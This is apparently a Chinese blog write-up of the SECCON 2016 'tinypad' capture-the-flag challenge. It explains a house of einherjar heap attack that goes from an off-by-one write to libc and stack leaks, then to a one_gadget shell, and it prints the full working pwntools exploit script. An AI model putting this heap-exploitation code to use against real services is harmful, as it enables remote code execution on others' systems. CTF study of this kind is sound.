题目 : secconctf2016_tinypad
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gAWNgpg1-1642591135200)(house-of-einherjar(tinypad)].assets/image-20220119154650784.png)](https://i-blog.csdnimg.cn/blog_migrate/d70f7030ad0650fce82e550dfc156780.png)
分析
add部分:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xnx4qtgC-1642591135202)(house-of-einherjar(tinypad)].assets/image-20220119154823873.png)](https://i-blog.csdnimg.cn/blog_migrate/b7ecf9911bd8fcd721b0d632543c3911.png)
edit部分:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pQ6buMt1-1642591135202)(house-of-einherjar(tinypad)].assets/image-20220119154907216.png)](https://i-blog.csdnimg.cn/blog_migrate/f92f4743561d6f4ee7587cb231b5ef51.png)
dele部分:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WyxrNPSN-1642591135203)(house-of-einherjar(tinypad)].assets/image-20220119154942892.png)](https://i-blog.csdnimg.cn/blog_migrate/d3c572204e0678f4524061872c6c1099.png)
自带的show部分:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XWryFkXR-1642591135203)(house-of-einherjar(tinypad)].assets/image-20220119155030653.png)](https://i-blog.csdnimg.cn/blog_migrate/12092760a179deaeda059edee9c789d3.png)
其中堆块信息保存在tinypad[0x100]处理解图如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nLEgGfo8-1642591135204)(house-of-einherjar(tinypad)].assets/image-20220119155938736.png)](https://i-blog.csdnimg.cn/blog_migrate/01d18738524162ef3b80c83acb8eaec8.png)
思路
上面ida分析的注释中对应解释了程序漏洞所在,那么首先进行libc泄露,首先malloc 4个chunk其中
chunkA :
- 必须为unsort bin
- 且size必须是8(十六进制)结尾,因为如果malloc 0xe8 ----真实大小—> 0xf0
- 这时可以写入的数据为0xe8 通过off-by-one则可以溢出到next_chunk的P标志位.如果malloc 0xe0 -----真实大小---->0xf0 但只能写入0xe0的数据,导致无法溢出
chunkB :
- chunkA 和 chunkB用于house of einherjar ,并间隔chunkA,chunkC防止发生合并
- chunkB必须为0xf0或者0xf8的大小这样chunkA溢出null字节就不会改变大小,只会改变它的P标志位
chunkC :
- 用于泄露heap地址,以便后续计算topchunk到目标地址处的偏移
chunkD :
- 用于防止topchunk合并,使chunkC正确的放入unsort bin
#------------leak--------------
add(0xe8,'A')
add(0xf0,'B')
add(0x100,'C')
add(0x10,'P')
ru('INDEX: 1')
ru('CONTENT: ')
heap = uu64(rc(4)) - 0x1f0
success('heap',heap)
ru('INDEX: 3')
ru('CONTENT: ')
libc_base = uu64(rc(6)) - (0x7fb46aa46b78-0x7fb46a683000)
success('libc',libc_base)
进行house of einherjar攻击
#------------attack topchunk----------------
dele(4)#使topchunk合并到chunkB后面 形成house of einher jar标准结构
offset = heap+0xf0-tinypad #topchunk合并chunkB后根据prev_size的大小进行合并的距离
add(0xe8,b'A'*0xe0 +p64(offset)) #通过泄露的堆地址获得和tinypad的偏移 #重新分配到chunkA,并写入数据到chunkB的prev_size
fake = p64(0) + p64(offset) + p64(tinypad)*4
edit(1,fake) #在目标地址处伪造fakechunk 从而绕过检查
dele(2) #unlink
此时堆空间图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhUtiiMA-1642591135205)(house-of-einherjar(tinypad)].assets/image-20220119190918045.png)](https://i-blog.csdnimg.cn/blog_migrate/49de08fb143d5301af4324019ad52e3c.png)
因为程序用不了got表修改,那么就可以通过泄露environ (environ变量是一个char** 类型,存储着系统的环境变量)可以通过它来获取libc_start_main的地址,然后修改它为one_gadget在程序最后退出时就会调用getshell
#------------leak stack----------------
add(0xe0,'P'*0x100) #填充tinypad[0xf0]
environ = libc_base + libc.symbols['__environ']
payload = p64(1) + p64(environ) + p64(1) + p64(tinypad+0x108)
add(0xe0,payload) #控制tinypad指针领域
ru('INDEX: 1')
ru('CONTENT: ')
libc_start_main = uu64(rc(6))-0xf0 #偏移0xf0就是libc_start_main地址
此时ptr空间图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BvzYXhGH-1642591135205)(house-of-einherjar(tinypad)].assets/image-20220119191440190.png)](https://i-blog.csdnimg.cn/blog_migrate/d1a022e242a316cd73522d33f1e1a179.png)
最后修改指针就可以getshell了
#------------getshell----------------
edit(2,p64(libc_start_main))
edit(1,p64(libc_base + one[5]))
sla('(CMD)>>>','Q')
修改后的栈空间图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FDCKTTjb-1642591135206)(house-of-einherjar(tinypad)].assets/image-20220119191633598.png)](https://i-blog.csdnimg.cn/blog_migrate/26d2f490ef86c7965dc4d793656e20b4.png)
完整exp:
# -*-coding:utf-8 -*
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./tinypad"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])
def add(size,data):
sla('(CMD)>>>','A')
sla('(SIZE)>>>',str(size))
sla('(CONTENT)>>>',data)
def edit(size,data,flag='Y'):
sla('(CMD)>>>','E')
sla('(INDEX)>>>',str(size))
sla('(CONTENT)>>>',data)
sla('(Y/n)>>>',flag)
def dele(size):
sla('(CMD)>>>','D')
sla('(INDEX)>>>',str(size))
tinypad = 0x602040
#------------leak--------------
add(0xe8,'A')
#必须为unsort bin
#且size必须是8(十六进制)结尾,因为如果malloc 0xe8 ----真实大小---> 0xf0
#这时可以写入的数据为0xe8 通过off-by-one则可以溢出到next_chunk的P标志位
#如果malloc 0xe0 -----真实大小---->0xf0 但只能写入0xe0的数据,导致无法溢出
add(0xf0,'B') #chunkA 和 chunkB用于house of einherjar ,并间隔chunkA,chunkC防止发生合并
#chunkB必须为0xf0或者0xf8这样chunkA溢出null字节就不会改变大小,只会改变它的P标志位
add(0x100,'C') #用于泄露heap地址,以便下面计算topchunk到目标地址处的偏移
add(0x10,'P') #用于防止topchunk合并,使chunkC正确的放入unsort bin
dele(3) #先free chunkC再chunkA,不然会获取不到值
dele(1) #泄露libc
ru('INDEX: 1')
ru('CONTENT: ')
heap = uu64(rc(4)) - 0x1f0
success('heap',heap)
ru('INDEX: 3')
ru('CONTENT: ')
libc_base = uu64(rc(6)) - (0x7fb46aa46b78-0x7fb46a683000)
success('libc',libc_base)
#------------attack topchunk----------------
dele(4)#使topchunk合并到chunkB后面 形成house of einher jar标准结构
offset = heap+0xf0-tinypad
add(0xe8,b'A'*0xe0 +p64(offset)) #通过泄露的堆地址获得与tinypad的偏移 ,
#重新分配到chunkA,并写入chunkB的prev_size
fake = p64(0) + p64(offset) + p64(tinypad)*4
edit(1,fake) #在目标地址处伪造fakechunk 从而绕过检查
dele(2) #unlink
#------------leak stack----------------
add(0xe0,'P'*0x100) #填充tinypad[0xf0]
environ = libc_base + libc.symbols['__environ']
#environ 变量是一个char** 类型,存储着系统的环境变量
#可以通过它来获取libc_start_main的地址,然后修改它为one_gadget
payload = p64(1) + p64(environ) + p64(1) + p64(tinypad+0x108)
add(0xe0,payload) #控制tinypad指针领域
ru('INDEX: 1')
ru('CONTENT: ')
libc_start_main = uu64(rc(6))-0xf0
#------------getshell----------------
edit(2,p64(libc_start_main))
edit(1,p64(libc_base + one[5]))
sla('(CMD)>>>','Q')
#------------end----------------
it()
1036

被折叠的 条评论
为什么被折叠?



